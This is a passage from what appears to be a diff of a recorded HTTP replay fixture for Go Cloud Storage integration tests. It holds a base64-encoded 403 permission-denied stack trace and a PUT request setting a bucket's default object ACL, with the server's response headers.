VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "5c1cadcffc6c95e0", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "119" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:04 GMT" - ], - "Etag": [ - "CAU=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo_n__u-lZKgZqveqge9YBw7wQMldCd4t0io7l_L_nlcF4DSPBPvZd9jGPCstE1EYuQS9L-Z3Y53Q15FlqM1IcmRDv6bYEJQWqkpuzCRRa_TLh9P7A" - ] - }, - "Body": 